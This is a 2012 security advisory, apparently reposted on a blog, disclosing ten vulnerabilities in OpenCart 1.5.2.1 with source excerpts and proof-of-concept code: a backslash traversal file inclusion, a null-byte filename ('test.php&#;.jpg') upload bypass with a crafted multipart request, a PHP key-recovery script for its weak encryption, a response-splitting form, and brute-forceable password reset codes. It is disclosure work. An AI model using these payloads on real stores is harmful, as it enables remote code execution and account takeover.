Thứ Sáu, 16 tháng 8, 2013

OpenCart 1.5.2.1 LFI / Shell Upload / Response Splitting

[waraxe-2012-SA#084] - Multiple Vulnerabilities in OpenCart 1.5.2.1
================================================== =============================

Author: Janek Vind "waraxe"
Date: 06. April 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-84.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

OpenCart is a turn-key ready "out of the box" shopping cart solution.
You simply install, select your template, add products and your ready to start
accepting orders.

http://www.opencart.com/


Vulnerable versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Affected is OpenCart version 1.5.2.1, older versions may be vulnerable as well.

################################################## #############################
1. Local File Inclusion in "action.php"
################################################## #############################

Reason: using unsanitized user submitted data for file operations
Attack vector: user submitted GET parameter "route"
Preconditions:
1. Windows platform
2. PHP version must be < 5.3.4 for null-byte attacks to work
Result: remote file disclosure, php remote code execution


Source code snippet from script "index.php":
-----------------[ source code start ]---------------------------------
// Router
if (isset($request->get['route'])) {
$action = new Action($request->get['route']);
-----------------[ source code end ]-----------------------------------

We can see, that user submitted parameter "route" is used as argument
for class "Action" initialization.

Source code snippet from vulnerable script "action.php":
-----------------[ source code start ]---------------------------------
final class Action {
protected $file;
..
public function __construct($route, $args = array()) {
$path = '';

$parts = explode('/', str_replace('../', '', (string)$route));

foreach ($parts as $part) {
$path .= $part;

if (is_dir(DIR_APPLICATION . 'controller/' . $path)) {
$path .= '/';

array_shift($parts);

continue;
}

if (is_file(DIR_APPLICATION . 'controller/' . str_replace('../', '', $path) . '.php')) {
$this->file = DIR_APPLICATION . 'controller/' . str_replace('../', '', $path) . '.php';
-----------------[ source code end ]-----------------------------------

As seen above, user submitted parameter "route" is sanitized twice against
potrential directory traversal components ("../") and then used as source for
class member "file".

Finally it comes to this:
-----------------[ source code start ]---------------------------------
private function execute($action) {
$file = $action->getFile();
..
if (file_exists($file)) {
require_once($file);
-----------------[ source code end ]-----------------------------------

As we can see, previously constructed file path is used as argument for
php function "require_once()". Sanitization against "../" works well in
most cases, but in case of underlying Windows operating system attacker
can use backslashes and bypass such filtering with use of "..\".

Test (on Windows platform):

http://localhost/opencart1521/index......\admin\index

Result:

Fatal error: Cannot redeclare error_handler() (previously declared in
C:\apache_www\opencart1521\index.php:78) in
C:\apache_www\opencart1521\admin\index.php on line 87

Error message above indicates, that directory traversal was successful
and php script "admin/index.php" was included as expected.


################################################## #############################
2. Arbitrary File Upload in "product.php"
################################################## #############################

Reason: insufficient authorization and input data validation
Attack vector: user submitted file upload via POST request
Preconditions:
1. PHP version must be < 5.3.4 for null-byte attacks to work
Result: remote code execution

It appears, that OpenCart allows file upload functionality to anyone.
No authentication or authorization at all.

Test: for testing let's use html form below:
-----------------[ PoC code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/opencart1521/index.php?route=product/product/upload"
method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload test">
</form>
</center></body></html>
-----------------[ PoC code end ]-----------------------------------

Result:

{"file":"pJhdgHSudwNdiwdjMLpwdsKSJWSocdwcwoSOJOdwd duwjSSIisdsdiSWswd==",
"success":"Your file was successfully uploaded!"}

There are some mitigating factors though:

1. files are uploaded to "download" directory, but filenames are
random. As we can see above, server response contains filename on JSON
format, but it's encrypted. Random filename example:

waraxe.jpg.620d348d4551ea2870e4cb602881a1d8

2. upload script allows through only files with specific extensions - images
and text files. If we try to upload file "test.php", then server responds as:

{"error":"Invalid file type!"}


Source code snippet from script "product.php":
-----------------[ source code start ]---------------------------------
public function upload() {
..
if (!empty($this->request->files['file']['name'])) {
$filename = basename(html_entity_decode($this->request->files['file']['name'], ENT_QUOTES, 'UTF-8'));
..
$allowed = array();

$filetypes = explode(',', $this->config->get('config_upload_allowed'));

foreach ($filetypes as $filetype) {
$allowed[] = trim($filetype);
}

if (!in_array(substr(strrchr($filename, '.'), 1), $allowed)) {
$json['error'] = $this->language->get('error_filetype');

..
if (!$json) {
if (is_uploaded_file($this->request->files['file']['tmp_name']) &amp;&amp; file_exists($this->request->files['file']['tmp_name'])) {
$file = basename($filename) . '.' . md5(rand());
// Hide the uploaded file name so people can not link to it directly.
$json['file'] = $this->encryption->encrypt($file);

move_uploaded_file($this->request->files['file']['tmp_name'], DIR_DOWNLOAD . $file);
-----------------[ source code end ]-----------------------------------

As we can see, uploaded file extension is checked against allowed
values, which prohibits from direct upload of php files and other interesting
content. Attacker can upload images with php code inside, but it is useful only
with additional LFI vulnerabilities.
So question is, can we bypass file extension checks? How about null bytes?
Little testing with php shows, that original filename, coming from $_FILES array,
cannot contain null bytes. OK, that's understandable, php engine tries to be secure.
But wait a minute ... how about "html_entity_decode" function, which is used
against original filename, coming from $_FILES array?
Quick test shows, that using "" or even "&amp;#;" in original filename will
be transformed to null byte, which allows as bypass file extension checks.

So how to test this? I wrote little php script for proof of concept, below is
fragment from specific POST request, which does the magic:


Content-Type: multipart/form-data; boundary=---------------------------146043902153
Content-Length: 212
-----------------------------146043902153
Content-Disposition: form-data; name="file"; filename="test.php&amp;#;.jpg"
Content-Type: image/jpeg

<?php
phpinfo();
?>
-----------------------------146043902153--


There is even easier way to exploit this vulnerability. We can
write php script with contents "<?php phpinfo();?>" inside and with
filename "test.php&amp;#;.jpg". We can use same html form for upload,
as seen above and this time php file upload succeeds!

################################################## #############################
3. Insufficiently random names for uploaded files in "product.php"
################################################## #############################

Reason: using of "rand()" function, which has known weaknesses
Preconditions: Windows platform

Source code snippet from script "product.php":
-----------------[ source code start ]---------------------------------
public function upload() {
..
$file = basename($filename) . '.' . md5(rand());
..
move_uploaded_file($this->request->files['file']['tmp_name'], DIR_DOWNLOAD . $file);
-----------------[ source code end ]-----------------------------------

In previous vulnerability analysis we saw, that unauthorized upload vulnerability
exists, but uploaded file is saved with random filename, which makes exploitation
harder. As seen from source code snippet above, randomness in filename is caused
by using "md5(rand())". In case of *nix platforms this means > 2 000 000 000
possible filenames. But Windows platform is different. From php manual:

"If called without the optional min, max arguments rand() returns a pseudo-random
integer between 0 and getrandmax().
Note: On some platforms (such as Windows), getrandmax() is only 32767."

So it appears, that on Windows platform there is only about 32768 possible
filenames and therefore simple bruteforce can reveal valid path to uploaded file.


################################################## #############################
4. Inadequate Encryption Strength
################################################## #############################

Reason: Weak encryption algorithm used in OpenCart
Preconditions: none
Result: attacker can use Known Plaintext Attack and obtain encryption key

http://opencarthelp.com/a/?q=improve...encryption_key

"Change your encryption key (PCI)
Changing the encryption key will help increase security for your store
as a whole. By default the encryption key for processing orders is set
to 12345. To change it to a unique series, in Admin go to System -> Settings
and click Edit for your store. Encryption Key can be found under the Server tab."

Method "encrypt()" in "encryption.php":
-----------------[ source code start ]---------------------------------
function encrypt($value) {
..
$output = '';

for ($i = 0; $i < strlen($value); $i++) {
$char = substr($value, $i, 1);
$keychar = substr($this->key, ($i % strlen($this->key)) - 1, 1);
$char = chr(ord($char) + ord($keychar));

$output .= $char;
}

return base64_encode($output);
}
-----------------[ source code end ]-----------------------------------

As we can see, it is very weak encryption scheme, which is vulnerable
to Known Plaintext Attack. Default encryption key after OpenCart installation
is "12345" and same key is used in multiple places in OpenCart functionality.
One use of this encryption is obfuscation of uploaded file path:

Source code snippet from script "product.php":
-----------------[ source code start ]---------------------------------
public function upload() {
..
$file = basename($filename) . '.' . md5(rand());
// Hide the uploaded file name so people can not link to it directly.
$json['file'] = $this->encryption->encrypt($file);

move_uploaded_file($this->request->files['file']['tmp_name'], DIR_DOWNLOAD . $file);
..
$this->response->setOutput(json_encode($json)); 
-----------------[ source code end ]-----------------------------------

As shown in previous analysis, attacker has the ability to upload files to
target system. In case of successful upload there is JSON-encoded string,
which contains uploaded file path encrypted with same algorithm, as
discussed. So here is known plaintext attack scenario for key retrieval:

1. attacker uploads file with known filename, for example:

1111111111111111111111111111111111111111.jpg

2. server responds with JSON-encoded string:

{"file":"ZmJjZGVmYmNkZWZiY2RlZmJjZGVmYmNkZWZiY2RlZ mJjZGVmYmNkZWOboppil2
FlaJhrZmhmlWeSlpSXbpdqZWZuZWKWZWlmZGlnmJY=","succe ss":
"Your file was successfully uploaded!"}

3. attacker base64-decodes parameter "file", does simple arithmetics
(keychar = cryptchar - plainchar) and recovers original key byte-by-byte.

Below is php script for proof of concept:
-----------------[ PoC code start ]-----------------------------------
<?php
error_reporting(E_ALL);

$plaintext = '1111111111111111111111111111111111111111';
$crypted_b64 = 'ZmJjZGVmYmNkZWZiY2RlZmJjZGVmYmNkZWZiY2RlZmJjZGVmY mNkZWOboppil2
FlaJhrZmhmlWeSlpSXbpdqZWZuZWKWZWlmZGlnmJY';

$pt_len = strlen($plaintext);
$crypted_bin = base64_decode($crypted_b64);

$key = '';

for($i = 0; $i < $pt_len; $i ++)
{
$cc = substr($crypted_bin, $i, 1);
$pc = substr($plaintext, $i, 1);
$c = chr(ord($cc) - ord($pc));
$key .= $c;
}

echo "Key: {$key}";
?>
-----------------[ PoC code end ]-----------------------------------


################################################## #############################
5. HTTP Response Splitting Vulnerability in "controller.php"
################################################## #############################

Reason: using unsanitized user submitted data for HTTP headers generation
Attack vector: user submitted POST parameter "redirect"
Preconditions:
1. PHP version must be < 4.4.2 for HTTP Response Splitting attacks to work


Source code snippet from script "language.php":
-----------------[ source code start ]---------------------------------
protected function index() {
..
if (isset($this->request->post['redirect'])) {
$this->redirect($this->request->post['redirect']);
-----------------[ source code end ]-----------------------------------


Source code snippet from script "controller.php":
-----------------[ source code start ]---------------------------------
protected function redirect($url, $status = 302) {
header('Status: ' . $status);
header('Location: ' . str_replace('&amp;', '&amp;', $url));
exit();
}
-----------------[ source code end ]-----------------------------------

We can see, that unvalidated user submitted POST parameter "redirect" is
used for HTTP header generation. Therefore HTTP Response Splitting
Vulnerability exists in source code above.

Test:
-----------------[ PoC code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/opencart1521/" method="post">
<input type="hidden" name="language_code" value="en">
<input type="hidden" name="redirect" value="?route=common/home

foo=bar

">
<input type="submit" value="Test">
</form>
</center></body></html>
-----------------[ PoC code end ]-----------------------------------

Result:

Warning: Header may not contain more than a single header, new line detected. in
C:\apache_www\opencart1521\system\engine\controlle r.php on line 29

As we can see, current php version is protected against HTTP header injections,
but error message clearly shows, that HTTP Response Splitting Vulerability
exists and is exploitable in case of older php versions. 

Because HTTP header generation is done without any validation,
attacker is able to use OpenCart installation for malicious redirects
to arbitrary websites. It means that OpenCart has Open Redirect Vulnerability
as well 


################################################## #############################
6. Insufficiently random names for uploaded files in "download.php"
################################################## #############################

Reason: using of "rand()" function, which has known weaknesses
Preconditions:
1. Windows platform
2. Admin privileges needed

Source code snippet from script "download.php":
-----------------[ source code start ]---------------------------------
public function insert() {
..
if (is_uploaded_file($this->request->files['download']['tmp_name'])) {
$filename = $this->request->files['download']['name'] . '.' . md5(rand());

move_uploaded_file($this->request->files['download']['tmp_name'], DIR_DOWNLOAD . $filename);
..
public function update() {
..
if (is_uploaded_file($this->request->files['download']['tmp_name'])) {
$filename = $this->request->files['download']['name'] . '.' . md5(rand());

move_uploaded_file($this->request->files['download']['tmp_name'], DIR_DOWNLOAD . $filename);
-----------------[ source code end ]-----------------------------------

Same problem, as in case of vulnerability #3: on Windows platform there
is only about 32768 possible filenames and therefore simple bruteforce
can reveal valid path to uploaded file.


################################################## #############################
7. Admin Password Reset Vulnerability
################################################## #############################

Reason: using of "rand()" function, which has known weaknesses
Preconditions:
1. Windows platform
2. Admin email must be known
Result: attacker can reset admin password

Source code snippet from script "admin/controller/common/forgotten.php":
-----------------[ source code start ]---------------------------------
class ControllerCommonForgotten extends Controller {
..
if (($this->request->server['REQUEST_METHOD'] == 'POST') &amp;&amp; $this->validate()) {
$this->language->load('mail/forgotten');

$code = md5(rand());

$this->model_user_user->editCode($this->request->post['email'], $code);

$subject = sprintf($this->language->get('text_subject'), $this->config->get('config_name'));

$message = sprintf($this->language->get('text_greeting'), $this->config->get('config_name')) . "\n\n";
$message .= sprintf($this->language->get('text_change'), $this->config->get('config_name')) . "\n\n";
$message .= $this->url->link('common/reset', 'code=' . $code, 'SSL') . "\n\n";

-----------------[ source code end ]-----------------------------------

As described previously, using "md5(rand())" on Windows platform means,
that there is only about 32768 different confirmation codes for admin
password reset and therefore admin account takeover is possible by using
bruteforce attack.


################################################## #############################
8. Customer Password Reset Vulnerability
################################################## #############################

Reason: using of "rand()" function, which has known weaknesses
Preconditions:
1. Windows platform
2. Customer email must be known
Result: attacker can reset customer password

Source code snippet from script "catalog/controller/account/forgotten.php":
-----------------[ source code start ]---------------------------------
$password = substr(md5(rand()), 0, 7);
$this->model_account_customer->editPassword($this->request->post['email'], $password);
..
$message .= $this->language->get('text_password') . "\n\n";
$message .= $password;
-----------------[ source code end ]-----------------------------------

Same problem as in previous case: using "md5(rand())" on Windows platform means,
that there is only about 32768 different new passwords after customer
password reset, therefore customer account takeover is possible by using
bruteforce attack.


################################################## #############################
9. Affiliate Password Reset Vulnerability
################################################## #############################

Reason: using of "rand()" function, which has known weaknesses
Preconditions:
1. Windows platform
2. Affiliate email must be known
Result: attacker can reset affiliate password

Source code snippet from script "catalog/controller/affiliate/forgotten.php":
-----------------[ source code start ]---------------------------------
$password = substr(md5(rand()), 0, 7);
$this->model_affiliate_affiliate->editPassword($this->request->post['email'], $password);
..
$message .= $this->language->get('text_password') . "\n\n";
$message .= $password;
-----------------[ source code end ]-----------------------------------

Same problem as in previous cases: using "md5(rand())" on Windows platform means,
that there is only about 32768 different new passwords after affiliate
password reset, therefore affiliate account takeover is possible by using
bruteforce attack.


################################################## #############
10. Path Disclosure in multiple php scripts
################################################## #############

http://localhost/opencart1521/index.php?route[]
Warning: substr() expects parameter 1 to be string, array given in
C:\apache_www\opencart1521\catalog\controller\comm on\column_left.php

http://localhost/opencart1521/index....oduct&amp;path[]
Warning: explode() expects parameter 2 to be string, array given in
C:\apache_www\opencart1521\catalog\controller\prod uct\product.php on line 21

http://localhost/opencart1521/index....mp;filter_name[]
Warning: explode() expects parameter 2 to be string, array given in
C:\apache_www\opencart1521\catalog\model\catalog\p roduct.php on line 432

http://localhost/opencart1521/index....raxe&amp;limit[]
Fatal error: Unsupported operand types in
C:\apache_www\opencart1521\catalog\controller\prod uct\search.php on line 206

http://localhost/opencart1521/index....amp;filter_tag[]
Warning: explode() expects parameter 2 to be string, array given in
C:\apache_www\opencart1521\catalog\model\catalog\p roduct.php on line 454

http://localhost/opencart1521/admin/...reset&amp;code[]
Warning: mysql_real_escape_string() expects parameter 1 to be string, array given in
C:\apache_www\opencart1521\system\database\mysql.p hp on line 55


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------

Related Posts

OpenCart 1.5.2.1 LFI / Shell Upload / Response Splitting
4/ 5
Oleh

Theo dõi qua email

Giống như bài viết ở trên ? Hãy đăng ký vào bài viết mới nhất trực tiếp qua email.